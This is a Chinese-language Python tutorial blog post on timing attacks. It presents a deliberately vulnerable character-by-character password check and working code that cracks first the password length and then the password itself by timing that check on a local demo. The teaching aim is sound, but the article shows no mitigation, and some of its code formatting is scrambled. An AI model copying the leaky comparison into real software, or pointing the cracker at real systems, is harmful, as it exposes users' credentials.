编程学习网 > 编程语言 > Python > 用Python告诉你什么是计时攻击
2022
08-05

用Python告诉你什么是计时攻击


用户密码登陆是一个系统常见的鉴权方法,如果处理不当就会隐藏计时攻击漏洞。本文用Python告诉你什么是计时攻击,如何进行计时攻击,以及怎么避免。

什么是计时攻击

比如说你验证密码时是按照字符串一位一位的比较,如果某一位不匹配,就返回 False,这样就中招了。因为正确的密码必然需要每一位都参与比较,这样,攻击者就统计不同长度的输入所消耗的时间,消耗时间最长的,就是正确的密码长度。在这个密码长度之下,再逐位通过计时攻击进行破解,消耗时间较长的那个字符就是正确的,时间复杂度也就是O(n*k),n 允许的字符数量,k 表示密码长度。

用 Python 进行计时攻击

比如说你使用这样的方法来验证用户登陆:

password_database = {"somenzz": "subscribe to python seven"} def check_password(user, guess):     actual = password_database[user]
    if len(guess) != len(actual):
        return False     
    # 逐个字符比较     for i in range(len(actual)):
        if guess[i] != actual[i]:
            return False     return True 

上面代码的逻辑虽然清晰,却存在计时攻击漏洞,因为长度不一样就返回了,花费的时间最少,当长度正确时需要逐个字符比较,花费时间最长。根据程序的执行耗时可以爆破出正确的密码长度。

比如说穷举 1-30 长度的密码,花费时间最长的那个一定是正确的密码长度,因此可以编写下面的代码来破解密码长度:

import string import timeit import numpy as np

allowed_chars = string.ascii_lowercase + " " def random_str(size):     return ''.join(random.choices(allowed_chars, k=size)) def crack_length(user, max_len=30, verbose=False) -> int:     trials = 2000     times = np.empty(max_len)
    for i in range(max_len):
        i_time = timeit.repeat(stmt='check_password(user, x)',
                               setup=f'user={user!r};x=random_str({i!r})',
                               globals=globals(),
                               number=trials,
                               repeat=10)
        times[i] = min(i_time)

    if verbose:
        # 排序,取最大的前 5 个         most_likely_n = np.argsort(times)[::-1][:5]
        print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]])

    #取最大     most_likely = int(np.argmax(times))
    return most_likely 

 def main():     user = "somenzz"     length = crack_length(user, verbose=True)
    print(f"密码最可能的长度是 {length}")    if __name__ == '__main__':
    main()

执行结果如下:


有了长度,就可以逐个字符破解了,先随机一个 25 位长度的字符串,记为 guess,然后从第一位开始逐位爆破尝试,如果正确,那花费的时间肯定比之前的多,然后就更新 guess,就这样可以爆破出全部的字符串,运行期间如果通过了 check_password,那就返回结果,终止运行,代码如下:

import itertools import string import timeit import numpy as np """
将上面的代码复制过来
""" def crack_password(user, length, verbose=False):     guess = random_str(length)
    print(f"{guess=}")
    counter = itertools.count()
    print(f"{counter =}")
    trials = 1000     while True:
        i = next(counter) % length
        for c in allowed_chars:
            alt = guess[:i] + c + guess[i + 1:]

            alt_time = timeit.repeat(stmt='check_password(user, x)',
                                     setup=f'user={user!r};x={alt!r}',
                                     globals=globals(),
                                     number=trials,
                                     repeat=10)
            guess_time = timeit.repeat(stmt='check_password(user, x)',
                                       setup=f'user={user!r};x={guess!r}',
                                       globals=globals(),
                                       number=trials,
                                       repeat=10)

            if check_password(user, alt):
                return alt

            if min(alt_time) > min(guess_time):
                guess = alt
                if verbose:
                    print(guess)

                     def main():     user = "somenzz"     length = crack_length(user, verbose=True)
    print(f"密码最可能的长度是 {length}")
    input("按回车继续破解密码...")
    password = crack_password(user, length, verbose=True)
    print(f"password cracked:'{password}'") if __name__ == '__main__':
    main()

运行效果如下:


以上就是“用 Python 告诉你什么是计时攻击”的详细内容,想要了解更多Python教程欢迎持续关注编程学习

扫码二维码 获取免费视频学习资料

Python编程学习

查 看2022高级编程视频教程免费获取